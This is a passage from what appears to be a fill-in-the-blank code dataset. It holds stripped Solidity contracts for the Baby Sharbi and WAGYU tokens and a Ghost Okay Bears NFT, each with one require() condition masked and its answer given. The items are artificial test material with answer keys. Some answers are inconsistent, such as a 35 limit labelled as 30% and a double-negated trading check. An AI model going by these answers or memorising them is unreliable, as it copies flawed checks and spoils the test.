value) external onlyOwner { } function setIsClaimed(address account, bool value) external onlyOwner { } function addOrRemoveBots(address[] memory accounts, bool exempt) external onlyOwner { } function setMinTokenToSwap(uint256 _amount) external onlyOwner { } function setMaxHoldLimit(uint256 _amount) external onlyOwner { } function setMaxTxnLimit(uint256 _amount) external onlyOwner { } function setBabySharbi(address _token) external onlyOwner { } function setBuyFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { } function setSellFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { marketingFeeOnSelling = _lwFee; sharbiFeeOnSelling = _bsFee; liquidityFeeOnSelling = _marketingFee; require(<FILL_ME>) } function setDistributionStatus(bool _value) public onlyOwner { } function enableOrDisableFees(bool _value) external onlyOwner { } function removeStuckEth(address _receiver) public onlyOwner { } function updateAddresses(address _marketingWallet, address _sharbiWallet, address _liquidityReceiverWallet) external onlyOwner { } function enableTrading() external onlyOwner { } function totalBuyFeePerTx(uint256 amount) public view returns (uint256) { } function totalSellFeePerTx(uint256 amount) public view returns (uint256) { } function migrateBabySharbi() public { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function takeTokenFee(address sender, uint256 amount) private { } function setFeeCountersOnBuying(uint256 amount) private { } function setFeeCountersOnSelling(uint256 amount) private { } function distributeAndLiquify(address from, address to) private { } } // Library for doing a swap on Dex library Utils { using SafeMath for uint256; function swapTokensForEth(address routerAddress, uint256 tokenAmount) internal { } function addLiquidity( address routerAddress, address owner, uint256 tokenAmount, uint256 ethAmount ) internal { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } }
_lwFee.add(_marketingFee).add(_bsFee)<=percentDivider.mul(15).div(100),"$BSHARBI: can't be more than 15%"
229,350
_lwFee.add(_marketingFee).add(_bsFee)<=percentDivider.mul(15).div(100)
"Already claimed"
//Tg: t.me/baby_sharbi //Website: babysharbi.net // SPDX-License-Identifier:MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } contract BabySharbiToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromMaxTxn; mapping(address => bool) public isExcludedFromMaxHolding; mapping(address => bool) public isClaimed; mapping(address => bool) public isBot; string private _name = "Baby Sharbi"; string private _symbol = "$BSHARBI"; uint8 private _decimals = 9; uint256 private _totalSupply = 1_000_000_000_000 * 1e9; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); IDexRouter public dexRouter; address public dexPair; address public marketingWallet; address public sharbiWallet; address public liquidityReceiverWallet; address public oldBabySharbi; uint256 public minTokenToSwap = _totalSupply.div(1e5); // this amount will trigger swap and distribute uint256 public maxHoldLimit = _totalSupply.div(100); // this is the max wallet holding limit uint256 public maxTxnLimit = _totalSupply.div(100); // this is the max transaction limit uint256 public percentDivider = 1000; uint256 public snipingTime = 60 seconds; uint256 public launchedAt; bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool bool public feesStatus = true; // enable by default bool public trading; // once enable can't be disable afterwards uint256 public liquidityFeeOnBuying = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnBuying = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnBuying = 30; // 3% will be added to the SHARBI address uint256 public liquidityFeeOnSelling = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnSelling = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnSelling = 30; // 3% will be added to the SHARBI address uint256 liquidityFeeCounter = 0; uint256 marketingFeeCounter = 0; uint256 sharbiFeeCounter = 0; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); constructor() { } //to receive ETH from dexRouter when swapping receive() external payable {} function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function includeOrExcludeFromFee(address account, bool value) external onlyOwner { } function includeOrExcludeFromMaxTxn(address[] memory account, bool value) external onlyOwner { } function includeOrExcludeFromMaxHolding(address account, bool value) external onlyOwner { } function setIsClaimed(address account, bool value) external onlyOwner { } function addOrRemoveBots(address[] memory accounts, bool exempt) external onlyOwner { } function setMinTokenToSwap(uint256 _amount) external onlyOwner { } function setMaxHoldLimit(uint256 _amount) external onlyOwner { } function setMaxTxnLimit(uint256 _amount) external onlyOwner { } function setBabySharbi(address _token) external onlyOwner { } function setBuyFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { } function setSellFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { } function setDistributionStatus(bool _value) public onlyOwner { } function enableOrDisableFees(bool _value) external onlyOwner { } function removeStuckEth(address _receiver) public onlyOwner { } function updateAddresses(address _marketingWallet, address _sharbiWallet, address _liquidityReceiverWallet) external onlyOwner { } function enableTrading() external onlyOwner { } function totalBuyFeePerTx(uint256 amount) public view returns (uint256) { } function totalSellFeePerTx(uint256 amount) public view returns (uint256) { } function migrateBabySharbi() public { require(<FILL_ME>) uint256 _amount = IERC20(oldBabySharbi).balanceOf(msg.sender); require(_amount > 0,"0 balance"); _transfer(owner(), msg.sender, _amount); IERC20(oldBabySharbi).transferFrom(msg.sender, owner(), _amount); isClaimed[msg.sender] = true; } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function takeTokenFee(address sender, uint256 amount) private { } function setFeeCountersOnBuying(uint256 amount) private { } function setFeeCountersOnSelling(uint256 amount) private { } function distributeAndLiquify(address from, address to) private { } } // Library for doing a swap on Dex library Utils { using SafeMath for uint256; function swapTokensForEth(address routerAddress, uint256 tokenAmount) internal { } function addLiquidity( address routerAddress, address owner, uint256 tokenAmount, uint256 ethAmount ) internal { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } }
!isClaimed[msg.sender],"Already claimed"
229,350
!isClaimed[msg.sender]
"RESTRICTED"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "hardhat/console.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; pragma solidity ^0.8.20; contract WAGYU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Where All Gains Yield Unceasingly"; string private constant _symbol = "$WAGYU"; uint8 private constant _decimals = 18; uint256 public launchedAt; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10 ** _decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 30; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address private _developmentAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000000 * 10 ** _decimals; uint256 public _maxWalletSize = 200000000 * 10 ** _decimals; uint256 public _swapTokensAtAmount = 100000000 * 10 ** _decimals; address[] public WAdd; address public isWAdd; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals; bool public transferDelayEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => bool) private _buyerMap; event OpenTrading(); modifier lockTheSwap() { } constructor( address _marketingWallet, address _devAddress, address _routeraddress ) { } function name() public pure returns (string memory) { } function developmentAddress() public view virtual returns (address) { } function marketingAddress() public view virtual returns (address) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer( address recipient, uint256 amount ) public override returns (bool) { } function allowance( address owner, address spender ) public view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection( uint256 rAmount ) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function openTrading() external { require(<FILL_ME>) require(!tradingOpen != false, "Already open!"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, address(this), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; launchedAt = block.timestamp; emit OpenTrading(); console.log("CONTRACT AMOUNT", balanceOf(address(this))); console.log("trading open!"); } function setRule(uint160[] memory _WAdd) external onlyOwner { } function manualswap() external { } function manualsend() external { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues( uint256 tAmount ) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns (uint256, uint256, uint256) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns (uint256, uint256, uint256) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function setFee( uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell ) public onlyOwner { } //Set minimum tokens required to swap. function setMinSwapTokensThreshold( uint256 swapTokensAtAmount ) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } function removeLimits() external onlyOwner { } function excludeMultipleAccountsFromFees( address[] calldata accounts, bool excluded ) public onlyOwner { } function multipleTransfer( address[] calldata accounts, uint256 amount ) external { } function isContract(address account) private view returns (bool) { } }
_msgSender()==owner()||_msgSender()==_developmentAddress||_msgSender()==_marketingAddress,"RESTRICTED"
229,493
_msgSender()==owner()||_msgSender()==_developmentAddress||_msgSender()==_marketingAddress
"Already open!"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "hardhat/console.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; pragma solidity ^0.8.20; contract WAGYU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Where All Gains Yield Unceasingly"; string private constant _symbol = "$WAGYU"; uint8 private constant _decimals = 18; uint256 public launchedAt; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10 ** _decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 30; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address private _developmentAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000000 * 10 ** _decimals; uint256 public _maxWalletSize = 200000000 * 10 ** _decimals; uint256 public _swapTokensAtAmount = 100000000 * 10 ** _decimals; address[] public WAdd; address public isWAdd; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals; bool public transferDelayEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => bool) private _buyerMap; event OpenTrading(); modifier lockTheSwap() { } constructor( address _marketingWallet, address _devAddress, address _routeraddress ) { } function name() public pure returns (string memory) { } function developmentAddress() public view virtual returns (address) { } function marketingAddress() public view virtual returns (address) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer( address recipient, uint256 amount ) public override returns (bool) { } function allowance( address owner, address spender ) public view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection( uint256 rAmount ) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function openTrading() external { require( _msgSender() == owner() || _msgSender() == _developmentAddress || _msgSender() == _marketingAddress, "RESTRICTED" ); require(<FILL_ME>) _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, address(this), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; launchedAt = block.timestamp; emit OpenTrading(); console.log("CONTRACT AMOUNT", balanceOf(address(this))); console.log("trading open!"); } function setRule(uint160[] memory _WAdd) external onlyOwner { } function manualswap() external { } function manualsend() external { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues( uint256 tAmount ) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns (uint256, uint256, uint256) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns (uint256, uint256, uint256) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function setFee( uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell ) public onlyOwner { } //Set minimum tokens required to swap. function setMinSwapTokensThreshold( uint256 swapTokensAtAmount ) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } function removeLimits() external onlyOwner { } function excludeMultipleAccountsFromFees( address[] calldata accounts, bool excluded ) public onlyOwner { } function multipleTransfer( address[] calldata accounts, uint256 amount ) external { } function isContract(address account) private view returns (bool) { } }
!tradingOpen!=false,"Already open!"
229,493
!tradingOpen!=false
"Total fees cannot be more than 30%"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "hardhat/console.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; pragma solidity ^0.8.20; contract WAGYU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Where All Gains Yield Unceasingly"; string private constant _symbol = "$WAGYU"; uint8 private constant _decimals = 18; uint256 public launchedAt; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10 ** _decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 30; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address private _developmentAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000000 * 10 ** _decimals; uint256 public _maxWalletSize = 200000000 * 10 ** _decimals; uint256 public _swapTokensAtAmount = 100000000 * 10 ** _decimals; address[] public WAdd; address public isWAdd; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals; bool public transferDelayEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => bool) private _buyerMap; event OpenTrading(); modifier lockTheSwap() { } constructor( address _marketingWallet, address _devAddress, address _routeraddress ) { } function name() public pure returns (string memory) { } function developmentAddress() public view virtual returns (address) { } function marketingAddress() public view virtual returns (address) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer( address recipient, uint256 amount ) public override returns (bool) { } function allowance( address owner, address spender ) public view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection( uint256 rAmount ) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function openTrading() external { } function setRule(uint160[] memory _WAdd) external onlyOwner { } function manualswap() external { } function manualsend() external { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues( uint256 tAmount ) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns (uint256, uint256, uint256) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns (uint256, uint256, uint256) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function setFee( uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell ) public onlyOwner { require(<FILL_ME>) _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold( uint256 swapTokensAtAmount ) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } function removeLimits() external onlyOwner { } function excludeMultipleAccountsFromFees( address[] calldata accounts, bool excluded ) public onlyOwner { } function multipleTransfer( address[] calldata accounts, uint256 amount ) external { } function isContract(address account) private view returns (bool) { } }
redisFeeOnBuy+taxFeeOnBuy<=35&&redisFeeOnSell+taxFeeOnSell<=35,"Total fees cannot be more than 30%"
229,493
redisFeeOnBuy+taxFeeOnBuy<=35&&redisFeeOnSell+taxFeeOnSell<=35
"Cannot mint over supply cap of token!"
//SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract GhostOkayBearsContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "Ghost Okay Bears"; string public symbol = "GOB"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { } function contractURI() public pure returns (string memory) { } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_qty > 0, "Minting quantity must be over 0"); require(<FILL_ME>) _mint(_address, _id, _qty, emptyBytes); } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { } function _getNextTokenID() private view returns (uint256) { } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
totalSupply(_id).add(_qty)<=getTokenSupplyCap(_id),"Cannot mint over supply cap of token!"
229,510
totalSupply(_id).add(_qty)<=getTokenSupplyCap(_id)
"Cannot mint over supply cap of token!"
//SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract GhostOkayBearsContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "Ghost Okay Bears"; string public symbol = "GOB"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { } function contractURI() public pure returns (string memory) { } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(<FILL_ME>) require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) == false, "Public minting is not enabled while contract is in allowlist only mode."); require(isMintingOpen(_id), "Minting for this token is not open"); _mint(msg.sender, _id, 1, emptyBytes); } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string 